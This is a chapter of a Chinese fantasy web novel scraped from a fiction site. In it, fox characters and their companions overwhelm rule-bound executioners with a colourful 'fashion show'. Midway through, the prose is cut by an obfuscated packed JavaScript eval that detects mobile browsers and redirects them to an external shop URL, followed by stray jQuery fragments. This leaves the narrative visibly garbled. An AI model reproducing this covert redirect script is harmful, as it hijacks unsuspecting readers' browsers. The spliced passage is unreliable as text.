文趣网 > 其他小说 > 大荒造物主 > 13. 第13章【青丘大秀·上】不是秀,是反击
    行刑者的灰色粉末还铺在广场石板的缝隙里,没有来得及清扫。那些从铠甲里脱出来的狐狸——小橘、青苗、赤羽、墨尾、霜耳——蹲在广场边缘,颜色还很淡,但已经不蜷缩了。它们看着阿狸,看着阿金,看着那些先出笼的狐狸甩尾巴、碰耳朵、互相舔伤口。它们不知道接下来该怎么办,但它们知道自己不是灰色的。知道这一点,暂时够了。

    但建筑群深处又传来了声音。不是警报,是更沉的——像有什么东西在地底下翻身。探照灯重新亮了起来,惨白的光束扫过广场,比之前更密、更急。紧接着,那些还没被潮汐震开的建筑内门一扇接一扇地滑开,门轴发出干涩的嘎吱声。新的行刑者正在集结。

    林漫站在广场中央,手里还握着剪刀。刃口上那些狐狸的颜色——刚才战斗中收集到的所有颜色——还在缓缓流动。她转头看向建筑群深处,那些正在移动的灰色身影比上一批更多、更密,至少有六十个,在建筑的阴影里排成更松散的队列,正在等待某个指令。

    “它们还会再来。”刑天把盾牌顿在地上。他的右腿还缠着那条被血浸透的布条,血已经凝固了,变成暗红色,贴在皮肤上。左肩的羽毛少了两根——刚才被行刑者的巨剑削掉的,断口参差不齐。腰带上那颗被打碎的矿石碎片留下一个空洞,像一颗缺掉的牙齿。

    “狐狸们需要休息。”阿狸从广场边缘走过来,九条假尾巴在她身后轻轻扫过石板地面,左边第三条尾巴上的金属鳞片表面还残留着被巨锤砸过的痕迹——矿石碎片碎了好几颗,边缘那截烧焦的焦痕还在,覆在鳞片上的紫色毛微微竖起,“它们刚出笼,刚学会甩尾巴,刚知道颜色是可以亮起来的。现在让它们打仗——”

    “不是打仗。”林漫打断她,“是走秀。”

    阿狸的耳朵竖了起来。“走秀?”

    “对。不是给我看,不是给刑天看——是给那些行刑者看。”林漫把剪刀举到眼前,刃口上的彩虹在她瞳孔里映成一道极细的弧线,“行刑者的规则系统能识别‘不规则’,但处理不了。处理不了就会过载。刚才阿狸甩九条尾巴,几个行刑者自己裂开了——不是因为它们怕颜色,是因为它们的规则系统装不下这么多不规则组合。一种颜色是一种不规则。九种颜色在一起,就是九种不规则叠加。它们数得清一种,数不清九种。每多一种颜色,规则就多一层负担。负担到极限就崩了。”

    她蹲下来,把背包里剩下的碎布头全部倒出来。曾祖母留下的布料已经用了一大半,剩下几块巴掌大的边角料——红色的、蓝色的、金色的、绿色的、粉色的。她从内侧口袋里掏出针线包,抽出别针弯成的粗针,把几块碎布拼在一起,用膝盖压住布边,右手三针缝出一个极小的披风。“在广场上狐狸们是自己亮起来的,那是它们自己的节奏。现在不一样——行刑者怕颜色,狐狸们就用颜色当武器。不是去拼命,是去被看见。让行刑者看清楚每一种颜色的弧度、亮度、温度。看清楚之后,规则就崩了。”

    阿金走过来,九条金色尾巴全部展开。“我之前亮尾巴是给你看的。现在是给它们看——不是为了让它们喜欢,是为了让它们过载。你说怎么做。”

    林漫把小披风举起来,对着月光看了看针脚。歪歪扭扭的,但很牢。她把它放在一边,继续缝下一个。“你需要和别的狐狸配合。一种颜色一种颜色地亮——不是同时亮,是轮流亮。你亮的时候别的狐狸收,你收的时候别的狐狸亮。不同颜色的频率混在一起,行刑者处理不过来。”

    阿金歪了歪头,然后把九条尾巴中的八条收拢压在身下,只留一条高高竖起。“第一条。金色。”

    小绿从旁边走过来,两只耳朵上的绿光明暗交替,左耳还是灰色的,但它在阿金旁边蹲下,把右耳转向阿金那条竖起的金色尾巴。“我可以帮你听——听行刑者的心跳。它们看每一种颜色时心跳都会变化。金色让它们心跳加快——不是怕,是规则处理金色时会加速运转。处理不了的时候心跳会漏一拍。漏一拍就是时机,你换下一种颜色。”

    阿金转头看着小绿的左耳——那只被命名者废掉的、灰色的耳朵。它把自己那条金色尾巴轻轻伸过去,尾尖碰了碰左耳边缘。金色碰到灰色的瞬间,小绿的左耳没有亮,但轻轻动了一下——不是听到声音,是感觉到温度。“你的金色是温的。我能感觉到。”

    “那就够了。”阿金把金色尾巴收回,转头看向广场边缘那些新出笼的狐狸,“小橘——你的橙色是暖的,和金色不一样。金色让它们心跳加快,暖的让它们心跳变慢。一快一慢,节奏乱了规则就崩了。”

    小橘把九条橙色尾巴全部展开,走到阿金旁边,紧挨着阿金那条竖起的金色尾巴,把自己最亮的那条橙色尾巴也竖起来。金色和橙色在暮色里并排,一个冷亮一个温暖。

    林漫蹲在石板地上继续缝。左手的无名指——昨天战斗中动了三次之后——今天能弯了,虽然还不能握东西,但已经能帮右手按住布边,每次用膝盖把布边顶起来再按下去。缝到第五件小披风的时候针扎破了手指,血滴在蓝色碎布上,她没有擦。

    “血也是颜色。蓝底红花,多一种不规则。”

    老狐狸戴着蓝色帽子,从广场边缘慢慢走过来,没有看林漫缝衣服,而是走到广场正中央,蹲下来,蓝色的眼睛看着行刑者集结的方向。“九尾狐的走秀不是走给别人看的。是走给自己看的。每走一步,尾巴甩一下——不是甩给观众看,是甩给自己看。看到自己尾巴在空气里划出颜色,就不会再忘了。行刑者没有眼睛——它们用规则感知世界。规则里没有‘美’这个定义,但能感知不规则。狐狸们每甩一次尾巴,规则就多一个异常信号。信号多了,系统就崩了。”

    小粉从广场边缘蹦过来,粉色的尾巴翘得高高的。“我负责报颜色名字!把所有颜色报一遍,让它们知道这里有多少种不规则!”它转过身对着广场上所有狐狸开始报颜色:“紫色!金色!橙色!蓝色!绿色!红色!银色!白色!黑色!

    小粉把它的名字加入颜色名单,从头开始重新报了一遍,报到“灰蓝——霜耳!”的时候,它的尾巴尖亮了一下,不是灰色,是极淡极淡的灰蓝色。

    林漫把缝好的小披风一件一件发下去。红色的给赤羽——那只暗红色狐狸,它的九条尾巴竖起来在广场上格外显眼;蓝色的给青苗,绿色的系在小绿脖子上,金色的给阿金——虽然它已经有围巾了,但阿金把金色披风系在自己尾巴根部,金色披风和金色围巾在它身上一上一下地亮着;粉色的给小粉——它把粉色披风系在自己脖子上和粉色项链并排,说“现在我有两片粉色了”。最后一件——那件用剩下的碎布头拼凑出来的、五颜六色的——她留给阿狸。

    阿狸

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17727796|208890||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    低头看着那件拼布披风。“这颜色太杂了。所有颜色都挤在一起——行刑者看到会直接宕机。”

    “就是要让它们宕机。你是九尾狐的领舞者——你走最前面,九种假尾巴加上这件拼布披风,身上有多少种不规则?”

    阿狸算了算,耳朵轻轻动了一下。她把拼布披风披上,走到广场最前方。二十多只狐狸在她身后排成扇形——阿金在最前排,九条金色尾巴全部展开;小橘紧挨着阿金,九条橙色尾巴竖得笔直;赤羽和青苗在第二排,暗红和淡蓝并排亮着;墨尾和霜耳在第三排;老狐狸戴着蓝色帽子站在扇形最边缘;小灰蹲在老狐狸旁边,灰色的尾巴不再压着,鼻尖上那粒粉色光尘还在微微发光。小绿蹲在扇形中心,右耳亮着——它负责听行刑者心跳,在规则变慢时喊出换颜色的信号;小粉蹲在队伍最前面,粉色的眼睛瞪得圆圆的,已经准备开始报颜色名字了。

    建筑群深处那批新的行刑者已经完成集结。六十个,比上一批更多。它们没有立刻冲锋,而是从建筑物的阴影里缓缓推进——不像之前那种松散的三列,而是更密集的五列,每一列前面都有一个队长。

    刑天站在广场底部那块青石上,把盾牌举起来。他要用盾牌声来指挥走秀的节奏——每敲一下,就换一种颜色。他先在盾牌上敲出节奏——有心跳的鼓点,一下一下,在广场上都轻轻共振。

    阿狸第一个走出去。不是走直线——是走弧线。从广场边缘开始,绕着一个很大的弧,九条假尾巴在身后散开,每一条都在不同的高度、不同的角度。所有颜色在她身上流动——橙、红、金、蓝、绿、粉、白、黑、七彩,还有那件拼布披风把所有颜色搅在一起再往外溢。行刑者从远处涌过来,第一批撞上阿狸甩出的弧线的行刑者猛地停住了——铠甲上的规则符文开始剧烈闪烁,它们无法同时处理这么多不规则。

    “金色!”刑天敲了一声盾牌。阿金听到信号,把自己最亮的那条金色尾巴高高竖起,和旁边的小橘的橙色尾巴并排。行刑者刚处理完阿狸的九色弧线,突然又多了两种新颜色叠加在弧线边缘上——规则系统开始过载。行刑者把目标从阿狸转向阿金——在它们看来,金色是当前规则系统里最不稳定的不规则。长矛向阿金刺来。

    小绿一直贴在阿金旁边,长矛刺来的瞬间它喊了信号,阿金把金色尾巴全部收拢压在身下——金色突然消失。行刑者的规则系统刚锁定金色,金色没了,让它处理了个空。小橘同时把九条橙色全部展开——暖橙色突然炸开,行刑者的规则系统在短时间内被两种颜色反复冲击,铠甲裂缝扩大,第一个列刑者的铠甲裂开了。

    刑天敲了一声更响的。阿狸收到信号,转身带着所有狐狸同时走过广场。二十多种颜色同时在行刑者面前流动——不是一种接一种,是所有颜色同时在动。阿金的阳光金、小橘的落叶橙、赤羽的暗红、青苗的初春蓝、墨尾的墨水紫、霜耳的灰蓝、小粉的樱花粉、小绿的叶子绿、阿狸身上九条假尾巴的九种颜色加上拼布披风把所有颜色搅在一起往外溢。行刑者的规则处理模块在那一瞬间达到极限。它们能识别每一种颜色单独存在时的频率范围,但当二十多种颜色的频率同时叠加在同一个感知通道里,算法无法判定优先级、无法分类、无法将任何一种颜色归入已知的任何档案——系统全面过载。铠甲开始碎裂,一个接一个,像多米诺骨牌。